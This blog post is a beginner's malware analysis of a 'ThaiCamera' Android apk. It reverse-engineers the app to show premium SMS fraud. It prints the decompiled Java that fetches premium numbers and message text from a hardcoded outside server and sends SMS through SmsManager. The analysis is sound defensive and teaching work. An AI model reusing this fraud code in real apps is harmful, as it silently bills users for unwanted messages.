Post

ThaiCam apk Malware Analysis

In the past year, I got the opportunity to look at various android apks and their pentest reports. I found these quite interesting and wanted to learn more. And to get a grip on the subject I did various courses which could be found online. But courses alone weren’t sufficient to deepen my understanding.

One of my friends suggested Maddie Stone’s hands-on session on Android 101 and I am blessed that I went ahead with it. It was a delight to work with many apks and understand what are the small nuances made the malicious.

Intro

The first apk was a ThaiCamera.apk which could be doing premium SMS fraud. I did my analysis at start and found a couple of things and finally could prove that the apk was malicious. This was relatively easier to reverse as it was not heavily obfuscated and some of the malicious functionalities were straightforward.

So, here is my process of analysing this. Please note that this might not be the best pathway or process to identify malwares or malicious activities, but since this was a simple apk, it worked out well for me.

Static Analysis

As usual, used jadx-gui to look at the source code and then I opened the manifest file to look for any unwanted permissions that the app was using.

In that for a camera app, the send sms permission was suspisioucs :

<uses-permission android:name="android.permission.SEND_SMS"/>

Keeping this in mind, I started looking at the classes with intent-filters and/or the ones that can be exported. The launcher acticity was com.cp.camera.Loading and I started to reverse this.

1
2
3
4
5
6
7
<activity android:label="@string/app_name" android:name="com.cp.camera.Loading" android:screenOrientation="portrait">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>

alt text

In the loading class, we can already see some strings suggesting sending of SMS :

public static final String SENT_SMS_ACTION = "SENT_HUGE_SMS_ACTION"; private String IMEIS; private String imeicontent;

And a few others getting the device and operator details.

1
2
TelephonyManager telManager = (TelephonyManager) getSystemService("phone");
String operator = telManager.getSimOperator();

In the oncreate function, we can see that a loginByPost is being called with operator as parameter (Operator is what is returned by the getSimOperator() function).

getSimOperator() is a method in the TelephonyManager classused to retrieve the MCC+MNC of the subscriber’s network.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
    public String loginByPost(String code) {
        String str = Build.VERSION.RELEASE;
        String str2 = Build.MODEL;
        getPhoneNumber();
        getDeviceId();
        try {
            String spec = "http://139.59.107.168:8088/appsharejson?code=" + code;
            URL url = new URL(spec);
            HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection();
            urlConnection.setRequestMethod("POST");
            urlConnection.setReadTimeout(5000);
            urlConnection.setConnectTimeout(5000);
            urlConnection.setDoOutput(true);
            urlConnection.setDoInput(true);
            if (urlConnection.getResponseCode() == 200) {
                InputStream is = urlConnection.getInputStream();
                ByteArrayOutputStream baos = new ByteArrayOutputStream();
                byte[] buffer = new byte[1024];
                while (true) {
                    int len = is.read(buffer);
                    if (len != -1) {
                        baos.write(buffer, 0, len);
                    } else {
                        is.close();
                        baos.close();
                        return new String(baos.toByteArray());
                    }
                }
            } else {
                return "error";
            }
        } catch (Exception e) {
            e.printStackTrace();
            return "error";
        }
    }

The loginByPost method tries to send a POST request to a website along with the Network Code of the sim. If it is a success, then the response is copied and returned to the jsonStr String and the corresponding service and content are set according to the imeicontent object in the json.

As this is based on the sim Operator (carrier network) of the user, this could mean that the service phone number is actually a premium number and the content is also something which could trigger the fraud.

But before going into that part, there is something interesting happening here.

The function checks the build version of the apk and if it is <23 then the sendMessage() is called but otherwise, the permission is checked.

Specificlly it checks if this is granted - android.permission.SEND_SMS, if not a call to requestPermissions() happens.

When you call requestPermissions, a dialog will be shown to the user asking for permission. Once the user responds, the system will invoke the onRequestPermissionsResult callback method in the activity, where the user’s response is handled.

1
2
3
4
5
6
7
8
9
10
11
    public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        if (requestCode == 1 && grantResults[0] == 0) {
            if (this.service != null && this.content != null) {
                sendMessage(this.service, this.content);
                return;
            }
            return;
        }
        Toast.makeText(this, "Please allow access!", 1).show();
    }

As a result if the permission is granted, sendMessage() function is called with the service and content variables as parameters. If it is not granted by the user, a short notification is displayed, asking "Please allow access!".

Technically, this might seem to be authorized, as the SMS is being sent only when the user allows the permission “SEND_SMS”. But no, this cannot be considered consent due to the fact that the user was not made aware that SMS will be sent to unknwon numbers or if SMS is actually going to be sent.

Granting the app permission to send message does not mean the user consents to getting billed for sending SMS.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
    public void sendMessage(String mobile, String content) {
        Bundle bundle = new Bundle();
        bundle.putString(FirebaseAnalytics.Param.ITEM_NAME, "SEND_SMS");
        this.mFirebaseAnalytics.logEvent(FirebaseAnalytics.Event.SELECT_CONTENT, bundle);
        Intent itSend = new Intent("SENT_HUGE_SMS_ACTION");
        itSend.putExtras(bundle);
        SmsManager sms = SmsManager.getDefault();
        PendingIntent sentintent = PendingIntent.getBroadcast(this, 0, itSend, 134217728);
        try {
            if (content.length() > 70) {
                List<String> msgs = sms.divideMessage(content);
                for (String msg : msgs) {
                    sms.sendTextMessage(mobile, null, msg, sentintent, null);
                }
                return;
            }
            sms.sendTextMessage(mobile, null, content, sentintent, null);
        } catch (Exception e) {
            SharedPreferences sharedPreferences = getSharedPreferences("videoLibrary", 0);
            SharedPreferences.Editor editor = sharedPreferences.edit();
            editor.putString("videoShare", AppEventsConstants.EVENT_PARAM_VALUE_NO);
            editor.apply();
            e.printStackTrace();
        }
    }

Now digging a little more into the important functionality, a new intent with "SENT_HUGE_SMS_ACTION" is created with the SEND_SMS extra and text message is sent according to the content retrieved from the jsonStr object.

Conclusion

To summarise, three things are happening here :

  • The camera app is sending SMS messages
  • The phone number and content that are being sent are retrieved from an external website (might be premium numbers)
  • These happen without the knowledge of the user.

Hence, we can conclude that Premium SMS fraud is indeed happening via the Camera app.

Huge thanks to Maddie Stone for providing quality content helping all of us to get started with Android RE.

This post is licensed under CC BY 4.0 by the author.